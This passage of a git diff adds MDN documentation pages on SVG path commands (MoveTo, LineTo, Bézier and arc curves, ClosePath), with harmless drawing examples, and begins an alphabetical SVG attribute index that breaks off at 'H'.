+<p><em>MoveTo</em> instructions can be thought of as picking up the drawing instrument, and setting it down somewhere else, i.e. moving the <em>current point</em> (P<sub>o</sub>; {x<sub>o</sub>, y<sub>o</sub>}). There is no line drawn between P<sub>o </sub>and the new <em>current point</em> (P<sub>n</sub>; {x<sub>n</sub>, y<sub>n</sub>}).</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Command</th>
+   <th scope="col">Parameters</th>
+   <th scope="col">Notes</th>
+  </tr>
+  <tr>
+   <th scope="row">M</th>
+   <td>(<code>x</code>, <code>y</code>)+</td>
+   <td>Move the <em>current point</em> to the coordinate <code>x</code>,<code>y</code>. Any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit absolute LineTo (<code>L</code>) command(s) (<em>see below</em>). Formula: P<sub>n</sub> = {<code>x</code>, <code>y</code>}</td>
+  </tr>
+  <tr>
+   <th scope="row">m</th>
+   <td>(<code>dx</code>, <code>dy</code>)+</td>
+   <td>Move the <em>current point</em> by shifting the last known position of the path by <code>dx</code> along the x-axis and by <code>dy</code> along the y-axis. Any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit relative LineTo (<code>l</code>) command(s) (<em>see below</em>). Formula: P<sub>n</sub> = {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub> + <code>dy</code>}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path fill="none" stroke="red"
+    d="M 10,10 h 10
+       m  0,10 h 10
+       m  0,10 h 10
+       M 40,20 h 10
+       m  0,10 h 10
+       m  0,10 h 10
+       m  0,10 h 10
+       M 50,50 h 10
+       m-20,10 h 10
+       m-20,10 h 10
+       m-20,10 h 10" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('MoveTo_path_commands', '100%', 200)}}</p>
+
+<h3 id="LineTo_path_commands">LineTo path commands</h3>
+
+<p><em>LineTo</em> instructions draw a straight line from the <em>current point</em> (P<sub>o</sub>; {x<sub>o</sub>, y<sub>o</sub>}) to the <em>end point</em> (P<sub>n</sub>; {x<sub>n</sub>, y<sub>n</sub>}), based on the parameters specified. The <em>end point </em>(P<sub>n</sub>) then becomes the <em>current point </em>for the next command (P<sub>o</sub><sup>'</sup>).</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Command</th>
+   <th scope="col">Parameters</th>
+   <th scope="col">Notes</th>
+  </tr>
+  <tr>
+   <th scope="row">L</th>
+   <td>(<code>x</code>, <code>y</code>)+</td>
+   <td>Draw a line from the <em>current point </em>to the <em>end point</em> specified by <code>x</code>,<code>y</code>. Any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit absolute LineTo (<code>L</code>) command(s). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>}</td>
+  </tr>
+  <tr>
+   <th scope="row">l</th>
+   <td>(<code>dx</code>, <code>dy</code>)+</td>
+   <td>Draw a line from the <em>current point </em>to the <em>end point,</em> which is the <em>current point</em> shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. Any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit relative LineTo (<code>l</code>) command(s) (<em>see below</em>). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub> + <code>dy</code>}</td>
+  </tr>
+  <tr>
+   <th scope="row">H</th>
+   <td><code>x</code>+</td>
+   <td>Draw a horizontal line from the <em>current point </em>to the <em>end point</em>, which is specified by the <code>x</code> parameter and the <em>current point's</em> y coordinate. Any subsequent value(s) are interpreted as parameter(s) for implicit absolute horizontal LineTo (<code>H</code>) command(s). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, y<sub>o</sub>}</td>
+  </tr>
+  <tr>
+   <th scope="row">h</th>
+   <td><code>dx</code>+</td>
+   <td>Draw a horizontal line from the <em>current point </em>to the <em>end point,</em> which is specified by the <em>current point</em> shifted by <code>dx</code> along the x-axis and the <em>current point's</em> y coordinate. Any subsequent value(s) are interpreted as parameter(s) for implicit relative horizontal LineTo (<code>h</code>) command(s). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub>}</td>
+  </tr>
+  <tr>
+   <th scope="row">V</th>
+   <td><code>y</code>+</td>
+   <td>Draw a vertical line from the <em>current point </em>to the <em>end point</em>, which is specified by the <code>y</code> parameter and the <em>current point's</em> x coordinate. Any subsequent values are interpreted as parameters for implicit absolute vertical LineTo (<code>V</code>) command(s). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o</sub>, <code>y</code>}</td>
+  </tr>
+  <tr>
+   <th scope="row">v</th>
+   <td><code>dy</code>+</td>
+   <td>Draw a vertical line from the <em>current point </em>to the <em>end point,</em> which is specified by the <em>current point</em> shifted by <code>dy</code> along the y-axis and the <em>current point's</em> x coordinate. Any subsequent value(s) are interpreted as parameter(s) for implicit relative vertical LineTo (<code>v</code>) command(s). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o, </sub>y<sub>o</sub> + <code>dy</code>}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples_2">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- LineTo commands with absolute coordinates --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 10,10
+           L 90,90
+           V 10
+           H 50" /&gt;
+
+  &lt;!-- LineTo commands with relative coordinates --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 110,10
+           l 80,80
+           v -80
+           h -40" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('LineTo_path_commands', '100%', 200)}}</p>
+
+<h3 id="Cubic_Bézier_Curve">Cubic Bézier Curve</h3>
+
+<p><em>Cubic <a href="https://en.wikipedia.org/wiki/Bézier_curve">Bézier curves</a></em> are smooth curve definitions using four points:</p>
+
+<ul>
+ <li><em>starting point (current point)</em> (P<sub>o</sub> = {x<sub>o</sub>, y<sub>o</sub>})</li>
+ <li><em>end point </em>(P<sub>n</sub> = {x<sub>n</sub>, y<sub>n</sub>})</li>
+ <li><em>start control point </em> (P<sub>cs</sub> = {x<sub>cs</sub>, y<sub>cs</sub>}) (controls curvature near the start of the curve)</li>
+ <li><em>end control point </em>(P<sub>ce</sub> = {x<sub>ce</sub>, y<sub>ce</sub>}) (controls curvature near the end of the curve).</li>
+</ul>
+
+<p>After drawing, the <em>end point </em>(P<sub>n</sub>) becomes the <em>current point </em>for the next command (P<sub>o</sub>').</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Command</th>
+   <th scope="col">Parameters</th>
+   <th scope="col">Notes</th>
+  </tr>
+  <tr>
+   <th scope="row">C</th>
+   <td>(<code>x1</code>,<code>y1</code>, <code>x2</code>,<code>y2</code>, <code>x</code>,<code>y</code>)+</td>
+   <td>Draw a cubic Bézier curve from the <em>current point </em>to the <em>end point </em>specified by <code>x</code>,<code>y</code>. The <em>start control point</em> is specified by <code>x1</code>,<code>y1</code> and the <em>end control point </em>is specified by <code>x2</code>,<code>y2</code><em>.</em> Any subsequent triplet(s) of coordinate pairs are interpreted as parameter(s) for implicit absolute cubic Bézier curve (<code>C</code>) command(s). Formulae: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>} ; P<sub>cs</sub> = {<code>x1</code>, <code>y1</code>} ; P<sub>ce</sub> = {<code>x2</code>, <code>y2</code>}</td>
+  </tr>
+  <tr>
+   <th scope="row">c</th>
+   <td>(<code>dx1</code>,<code>dy1</code>, <code>dx2</code>,<code>dy2</code>, <code>dx</code>,<code>dy</code>)+</td>
+   <td>Draw a cubic Bézier curve from the <em>current point </em>to the <em>end point,</em> which is the <em>current point</em> shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The <em>start control point </em>is the <em>current point</em> (starting point of the curve) shifted by <code>dx1</code> along the x-axis and <code>dy1</code> along the y-axis. The <em>end control point </em>is the <em>current point</em> (starting point of the curve) shifted by <code>dx2</code> along the x-axis and <code>dy2</code> along the y-axis. Any subsequent triplet(s) of coordinate pairs are interpreted as parameter(s) for implicit relative cubic Bézier curve (<code>c</code>) command(s). Formulae: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub> + <code>dy</code>} ; P<sub>cs</sub> = {x<sub>o</sub> + <code>dx1</code>, y<sub>o</sub> + <code>dy1</code>} ; P<sub>ce</sub> = {x<sub>o</sub> + <code>dx2</code>, y<sub>o</sub> + <code>dy2</code>}</td>
+  </tr>
+  <tr>
+   <th scope="row">S</th>
+   <td>(<code>x2</code>,<code>y2</code>, <code>x</code>,<code>y</code>)+</td>
+   <td>Draw a smooth cubic Bézier curve from the <em>current point </em>to the <em>end point</em> specified by <code>x</code>,<code>y</code>. The <em>end control point</em> is specified by <code>x2</code>,<code>y2</code>. The <em>start control point</em> is a reflection of the <em>end control point</em> of the previous curve command. If the previous command wasn't a curve, the <em>start control point </em>is the same as the curve starting point (<em>current point</em>). Any subsequent pair(s) of coordinate pairs are interpreted as parameter(s) for implicit absolute smooth cubic Bézier curve (<code>S</code>) commands.</td>
+  </tr>
+  <tr>
+   <th scope="row">s</th>
+   <td>(<code>dx2</code>,<code>dy2</code>, <code>dx</code>,<code>dy</code>)+</td>
+   <td>Draw a smooth cubic Bézier curve from the <em>current point </em>to the <em>end point</em>, which is the <em>current point </em>shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The <em>end control point</em> is the <em>current point</em> (starting point of the curve) shifted by <code>dx2</code> along the x-axis and <code>dy2</code> along the y-axis. The <em>start control point</em> is a reflection of the <em>end control point</em> of the previous curve command. If the previous command wasn't a curve, the <em>start control point </em>is the same as the curve starting point (<em>current point</em>). Any subsequent pair(s) of coordinate pairs are interpreted as parameter(s) for implicit relative smooth cubic Bézier curve (<code>s</code>) commands.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples_3">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+  &lt;!-- Cubic Bézier curve with absolute coordinates --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 10,90
+           C 30,90 25,10 50,10
+           S 70,90 90,90" /&gt;
+
+  &lt;!-- Cubic Bézier curve with relative coordinates --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 110,90
+           c 20,0 15,-80 40,-80
+           s 20,80 40,80" /&gt;
+
+  &lt;!-- Highlight the curve vertex and control points --&gt;
+  &lt;g id="ControlPoints"&gt;
+
+    &lt;!-- First cubic command control points --&gt;
+    &lt;line x1="10" y1="90" x2="30" y2="90" stroke="lightgrey" /&gt;
+    &lt;circle cx="30" cy="90" r="1.5"/&gt;
+
+    &lt;line x1="50" y1="10" x2="25" y2="10" stroke="lightgrey" /&gt;
+    &lt;circle cx="25" cy="10" r="1.5"/&gt;
+
+    &lt;!-- Second smooth command control points (the first one is implicit) --&gt;
+    &lt;line x1="50" y1="10" x2="75" y2="10" stroke="lightgrey" stroke-dasharray="2" /&gt;
+    &lt;circle cx="75" cy="10" r="1.5" fill="lightgrey"/&gt;
+
+    &lt;line x1="90" y1="90" x2="70" y2="90" stroke="lightgrey" /&gt;
+    &lt;circle cx="70" cy="90" r="1.5" /&gt;
+
+    &lt;!-- curve vertex points --&gt;
+    &lt;circle cx="10" cy="90" r="1.5"/&gt;
+    &lt;circle cx="50" cy="10" r="1.5"/&gt;
+    &lt;circle cx="90" cy="90" r="1.5"/&gt;
+  &lt;/g&gt;
+  &lt;use xlink:href="#ControlPoints" x="100" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Cubic_Bézier_Curve', '100%', 200)}}</p>
+
+<h3 id="Quadratic_Bézier_Curve">Quadratic Bézier Curve</h3>
+
+<p><em>Quadratic <a href="https://en.wikipedia.org/wiki/Bézier_curve">Bézier curves</a></em> are smooth curve definitions using three points:</p>
+
+<ul>
+ <li><em>starting point (current point)</em> (P<sub>o</sub> = {x<sub>o</sub>, y<sub>o</sub>})</li>
+ <li><em>end point </em>(P<sub>n</sub> = {x<sub>n</sub>, y<sub>n</sub>})</li>
+ <li><em>control point </em> (P<sub>c</sub> = {x<sub>c</sub>, y<sub>c</sub>}) (controls curvature)</li>
+</ul>
+
+<p> </p>
+
+<p>After drawing, the <em>end point </em>(P<sub>n</sub>) becomes the <em>current point </em>for the next command (P<sub>o</sub>').</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Command</th>
+   <th scope="col">Parameters</th>
+   <th scope="col">Notes</th>
+  </tr>
+  <tr>
+   <th scope="row">Q</th>
+   <td>(<code>x1</code>,<code>y1</code>, <code>x</code>,<code>y</code>)+</td>
+   <td>Draw a quadratic Bézier curve from the <em>current point </em>to the <em>end point </em>specified by <code>x</code>,<code>y</code>. The <em>control point</em> is specified by <code>x1</code>,<code>y1</code>. Any subsequent pair(s) of coordinate pairs are interpreted as parameter(s) for implicit absolute quadratic Bézier curve (<code>Q</code>) command(s). Formulae: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>} ; P<sub>c</sub> = {<code>x1</code>, <code>y1</code>}</td>
+  </tr>
+  <tr>
+   <th scope="row">q</th>
+   <td>(<code>dx1</code>,<code>dy1</code>, <code>dx</code>,<code>dy</code>)+</td>
+   <td>Draw a quadratic Bézier curve from the <em>current point </em>to the <em>end point</em>, which is the <em>current point </em>shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The <em>control point </em>is the <em>current point</em> (starting point of the curve) shifted by <code>dx1</code> along the x-axis and <code>dy1</code> along the y-axis. Any subsequent pair(s) of coordinate pairs are interpreted as parameter(s) for implicit relative quadratic Bézier curve (<code>q</code>) command(s). Formulae: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub> + <code>dy</code>} ; P<sub>c</sub> = {x<sub>o</sub> + <code>dx1</code>, y<sub>o</sub> + <code>dy1</code>}</td>
+  </tr>
+  <tr>
+   <th scope="row">T</th>
+   <td>(<code>x</code>,<code>y</code>)+</td>
+   <td>Draw a smooth quadratic Bézier curve from the <em>current point </em>to the <em>end point </em>specified by <code>x</code>,<code>y</code>. The <em>control point</em> is a reflection of the <em>control point</em> of the previous curve command. If the previous command wasn't a curve, the <em>control point </em>is the same as the curve starting point (<em>current point</em>). Any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit absolute smooth quadratic Bézier curve (<code>T</code>) command(s). Formula: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>}</td>
+  </tr>
+  <tr>
+   <th scope="row">t</th>
+   <td>(<code>dx</code>,<code>dy</code>)+</td>
+   <td>Draw a smooth quadratic Bézier curve from the <em>current point </em>to the <em>end point</em>, which is the <em>current point </em>shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The <em>control point </em>is a reflection of the <em>control point </em>of the previous curve command. If the previous command wasn't a curve, the <em>control point </em>is the same as the curve starting point (<em>current point</em>). Any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit relative smooth quadratic Bézier curve (<code>t</code>) command(s). Formulae: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {x<sub>o</sub> + <code>dx</code>, y<sub>o</sub> + <code>dy</code>}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples_4">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+  &lt;!-- Quadratic Bézier curve with implicite repetition --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 10,50
+           Q 25,25 40,50
+           t 30,0 30,0 30,0 30,0 30,0" /&gt;
+
+  &lt;!-- Highlight the curve vertex and control points --&gt;
+  &lt;g&gt;
+    &lt;polyline points="10,50 25,25 40,50" stroke="rgba(0,0,0,.2)" fill="none" /&gt;
+    &lt;circle cx="25" cy="25" r="1.5" /&gt;
+
+    &lt;!-- curve vertex points --&gt;
+    &lt;circle cx="10" cy="50" r="1.5"/&gt;
+    &lt;circle cx="40" cy="50" r="1.5"/&gt;
+
+    &lt;g id="SmoothQuadraticDown"&gt;
+      &lt;polyline points="40,50 55,75 70,50" stroke="rgba(0,0,0,.2)" stroke-dasharray="2" fill="none" /&gt;
+      &lt;circle cx="55" cy="75" r="1.5" fill="lightgrey" /&gt;
+      &lt;circle cx="70" cy="50" r="1.5" /&gt;
+    &lt;/g&gt;
+
+    &lt;g id="SmoothQuadraticUp"&gt;
+      &lt;polyline points="70,50 85,25 100,50" stroke="rgba(0,0,0,.2)" stroke-dasharray="2" fill="none" /&gt;
+      &lt;circle cx="85" cy="25" r="1.5" fill="lightgrey" /&gt;
+      &lt;circle cx="100" cy="50" r="1.5" /&gt;
+    &lt;/g&gt;
+
+    &lt;use xlink:href="#SmoothQuadraticDown" x="60" /&gt;
+    &lt;use xlink:href="#SmoothQuadraticUp"   x="60" /&gt;
+    &lt;use xlink:href="#SmoothQuadraticDown" x="120" /&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Quadratic_Bézier_Curve', '100%', 200)}}</p>
+
+<h3 id="Elliptical_Arc_Curve">Elliptical Arc Curve</h3>
+
+<p><em>Elliptical arc curves</em> are curves define as a portion of an ellipse. It is sometimes easier than Bézier curve to draw highly regular curves.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Command</th>
+   <th scope="col">Parameters</th>
+   <th scope="col">Notes</th>
+  </tr>
+  <tr>
+   <th scope="row">A</th>
+   <td>(<code>rx</code> <code>ry</code> <code>angle</code> <code>large-arc-flag</code> <code>sweep-flag</code> <code>x</code> <code>y</code>)+</td>
+   <td>
+    <p>Draw an Arc curve from the current point to the coordinate <code>x</code>,<code>y</code>. The center of the ellipse used to draw the arc is determine automatically based on the other parameters of the command:</p>
+
+    <ul>
+     <li><code>rx</code> and <code>ry</code> are the two radii of the ellipse;</li>
+     <li><code>angle</code> represents a rotation (in degree) of the ellipse relative to the x-axis;</li>
+     <li><code>large-arc-flag</code> and <code>sweep-flag</code> allows to chose which arc must be drawn as 4 possible arcs can be drawn out of the other parameters.
+      <ul>
+       <li><code>large-arc-flag</code> allows to chose one of the large arc (<strong>1</strong>) or small arc (<strong>0</strong>),</li>
+       <li><code>sweep-flag</code> allows to chose one of the clockwise turning arc (<strong>1</strong>) or anticlockwise turning arc (<strong>0</strong>)</li>
+      </ul>
+     </li>
+    </ul>
+    The coordinate <code>x</code>,<code>y</code> become the new current point for the next command. All subsequent sets of parameters are considered implicit absolute arc curve (<code>A</code>) commands.</td>
+  </tr>
+  <tr>
+   <th scope="row">a</th>
+   <td>(<code>rx</code> <code>ry</code> <code>angle</code> <code>large-arc-flag</code> <code>sweep-flag</code> <code>dx</code> <code>dy</code>)+</td>
+   <td>
+    <p>Draw an Arc curve from the current point to to a point for which coordinates are those of the current point shifted by <code>dx</code> along the x-axis and <code>dy</code> along the y-axis. The center of the ellipse used to draw the arc is determine automatically based on the other parameters of the command:</p>
+
+    <ul>
+     <li><code>rx</code> and <code>ry</code> are the two radii of the ellipse;</li>
+     <li><code>angle</code> represents a rotation (in degree) of the ellipse relative to the x-axis;</li>
+     <li><code>large-arc-flag</code> and <code>sweep-flag</code> allows to chose which arc must be drawn as 4 possible arcs can be drawn out of the other parameters.
+      <ul>
+       <li><code>large-arc-flag</code> allows to chose one of the large arc (<strong>1</strong>) or small arc (<strong>0</strong>),</li>
+       <li><code>sweep-flag</code> allows to chose one of the clockwise turning arc (<strong>1</strong>) or anticlockwise turning arc (<strong>0</strong>)</li>
+      </ul>
+     </li>
+    </ul>
+    The current point gets its X and Y coordinates shifted by <code>dx</code> and <code>dy</code> for the next command. All subsequent sets of parameters are considered implicit relative arc curve (<code>a</code>) commands.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Examples_5">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!-- The influence of the arc flags on which arc is drawn --&gt;
+  &lt;path fill="none" stroke="red"
+        d="M 6,10
+           A 6 4 10 1 0 14,10" /&gt;
+
+  &lt;path fill="none" stroke="lime"
+        d="M 6,10
+           A 6 4 10 1 1 14,10" /&gt;
+
+  &lt;path fill="none" stroke="purple"
+        d="M 6,10
+           A 6 4 10 0 1 14,10" /&gt;
+
+  &lt;path fill="none" stroke="pink"
+        d="M 6,10
+           A 6 4 10 0 0 14,10" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Elliptical_Arc_Curve', '100%', 200)}}</p>
+
+<h3 id="ClosePath">ClosePath</h3>
+
+<p><em>ClosePath</em> instructions draw a straight line from the current position, to the first point in the path.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Command</th>
+   <th scope="col">Parameters</th>
+   <th scope="col">Notes</th>
+  </tr>
+  <tr>
+   <th scope="row">Z, z</th>
+   <td> </td>
+   <td>Close the current subpath by connecting the last point of the path with its initial point. If the two points doesn't have the same coordinates, a straight line is drawn between those two points.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> The appearance of a shape closed with closepath may be different to that of one closed by drawing a line to the origin, using one of the other commands, because the line ends are joined together (according to the {{SVGAttr('stroke-linejoin')}} setting), rather than just being placed at the same coordinates.</p>
+
+<h4 id="Examples_6">Examples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 -1 30 11" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!--
+  An open shape with the last point of
+  the path different than the first one
+  --&gt;
+  &lt;path stroke="red"
+        d="M 5,1
+           l -4,8 8,0" /&gt;
+
+  &lt;!--
+  An open shape with the last point of
+  the path matching the first one
+  --&gt;
+  &lt;path stroke="red"
+        d="M 15,1
+           l -4,8 8,0 -4,-8" /&gt;
+
+  &lt;!--
+  An closed shape with the last point of
+  the path different than the first one
+  --&gt;
+  &lt;path stroke="red"
+        d="M 25,1
+           l -4,8 8,0
+           z" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('ClosePath', '100%', 200)}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "paths.html#DProperty", "d")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Definition for <code>&lt;path&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "fonts.html#GlyphElementDAttribute", "d")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Initial definition for <code>&lt;glyph&gt;</code> and <code>&lt;missing-glyph&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "paths.html#DAttribute", "d")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Initial definition for <code>&lt;path&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/svg/attribute/index.html b/files/ko/web/svg/attribute/index.html
new file mode 100644
index 0000000000..9cdaf4b9ec
--- /dev/null
+++ b/files/ko/web/svg/attribute/index.html
@@ -0,0 +1,461 @@
+---
+title: SVG Attribute reference
+slug: Web/SVG/Attribute
+tags:
+  - NeedsHelp
+  - NeedsTranslation
+  - SVG
+  - SVG Attribute
+  - SVG Reference
+  - TopicStub
+translation_of: Web/SVG/Attribute
+---
+<p>« <a href="/en/SVG" title="en/SVG">SVG</a> / <a href="/en/SVG/Element" title="en/SVG/Element">SVG Element reference</a> »</p>
+
+<h2 id="SVG_Attributes">SVG Attributes</h2>
+
+<div style="-moz-column-width: 14em; -webkit-columns: 14em; columns: 14em;">
+<h3 id="A">A</h3>
+
+<ul>
+ <li>{{ SVGAttr("accent-height") }}</li>
+ <li>{{ SVGAttr("accumulate") }}</li>
+ <li>{{ SVGAttr("additive") }}</li>
+ <li>{{ SVGAttr("alignment-baseline") }}</li>
+ <li>{{ SVGAttr("allowReorder") }}</li>
+ <li>{{ SVGAttr("alphabetic") }}</li>
+ <li>{{ SVGAttr("amplitude") }}</li>
+ <li>{{ SVGAttr("arabic-form") }}</li>
+ <li>{{ SVGAttr("ascent") }}</li>
+ <li>{{ SVGAttr("attributeName") }}</li>
+ <li>{{ SVGAttr("attributeType") }}</li>
+ <li>{{ SVGAttr("autoReverse") }}</li>
+ <li>{{ SVGAttr("azimuth") }}</li>
+</ul>
+
+<h3 id="B">B</h3>
+
+<ul>
+ <li>{{ SVGAttr("baseFrequency") }}</li>
+ <li>{{ SVGAttr("baseline-shift") }}</li>
+ <li>{{ SVGAttr("baseProfile") }}</li>
+ <li>{{ SVGAttr("bbox") }}</li>
+ <li>{{ SVGAttr("begin") }}</li>
+ <li>{{ SVGAttr("bias") }}</li>
+ <li>{{ SVGAttr("by") }}</li>
+</ul>
+
+<h3 id="C">C</h3>
+
+<ul>
+ <li>{{ SVGAttr("calcMode") }}</li>
+ <li>{{ SVGAttr("cap-height") }}</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("clip") }}</li>
+ <li>{{ SVGAttr("clipPathUnits") }}</li>
+ <li>{{ SVGAttr("clip-path") }}</li>
+ <li>{{ SVGAttr("clip-rule") }}</li>
+ <li>{{ SVGAttr("color") }}</li>
+ <li>{{ SVGAttr("color-interpolation") }}</li>
+ <li>{{ SVGAttr("color-interpolation-filters") }}</li>
+ <li>{{ SVGAttr("color-profile") }}</li>
+ <li>{{ SVGAttr("color-rendering") }}</li>
+ <li>{{ SVGAttr("contentScriptType") }}</li>
+ <li>{{ SVGAttr("contentStyleType") }}</li>
+ <li>{{ SVGAttr("cursor") }}</li>
+ <li>{{ SVGAttr("cx") }}</li>
+ <li>{{ SVGAttr("cy") }}</li>
+</ul>
+
+<h3 id="D">D</h3>
+
+<ul>
+ <li>{{ SVGAttr("d") }}</li>
+ <li>{{ SVGAttr("decelerate") }}</li>
+ <li>{{ SVGAttr("descent") }}</li>
+ <li>{{ SVGAttr("diffuseConstant") }}</li>
+ <li>{{ SVGAttr("direction") }}</li>
+ <li>{{ SVGAttr("display") }}</li>
+ <li>{{ SVGAttr("divisor") }}</li>
+ <li>{{ SVGAttr("dominant-baseline") }}</li>
+ <li>{{ SVGAttr("dur") }}</li>
+ <li>{{ SVGAttr("dx") }}</li>
+ <li>{{ SVGAttr("dy") }}</li>
+</ul>
+
+<h3 id="E">E</h3>
+
+<ul>
+ <li>{{ SVGAttr("edgeMode") }}</li>
+ <li>{{ SVGAttr("elevation") }}</li>
+ <li>{{ SVGAttr("enable-background") }}</li>
+ <li>{{ SVGAttr("end") }}</li>
+ <li>{{ SVGAttr("exponent") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+</ul>
+
+<h3 id="F">F</h3>
+
+<ul>
+ <li>{{ SVGAttr("fill") }}</li>
+ <li>{{ SVGAttr("fill-opacity") }}</li>
+ <li>{{ SVGAttr("fill-rule") }}</li>
+ <li>{{ SVGAttr("filter") }}</li>
+ <li>{{ SVGAttr("filterRes") }}</li>
+ <li>{{ SVGAttr("filterUnits") }}</li>
+ <li>{{ SVGAttr("flood-color") }}</li>
+ <li>{{ SVGAttr("flood-opacity") }}</li>
+ <li>{{ SVGAttr("font-family") }}</li>
+ <li>{{ SVGAttr("font-size") }}</li>
+ <li>{{ SVGAttr("font-size-adjust") }}</li>
+ <li>{{ SVGAttr("font-stretch") }}</li>
+ <li>{{ SVGAttr("font-style") }}</li>
+ <li>{{ SVGAttr("font-variant") }}</li>
+ <li>{{ SVGAttr("font-weight") }}</li>
+ <li>{{ SVGAttr("format") }}</li>
+ <li>{{ SVGAttr("from") }}</li>
+ <li>{{ SVGAttr("fx") }}</li>
+ <li>{{ SVGAttr("fy") }}</li>
+</ul>
+
+<h3 id="G">G</h3>
+
+<ul>
+ <li>{{ SVGAttr("g1") }}</li>
+ <li>{{ SVGAttr("g2") }}</li>
+ <li>{{ SVGAttr("glyph-name") }}</li>
+ <li>{{ SVGAttr("glyph-orientation-horizontal") }}</li>
+ <li>{{ SVGAttr("glyph-orientation-vertical") }}</li>
+ <li>{{ SVGAttr("glyphRef") }}</li>
+ <li>{{ SVGAttr("gradientTransform") }}</li>
+ <li>{{ SVGAttr("gradientUnits") }}</li>
+</ul>
+
+<h3 id="H">H</h3>
+
+<ul>
+ <li>{{ SVGAttr("hanging") }}</li>
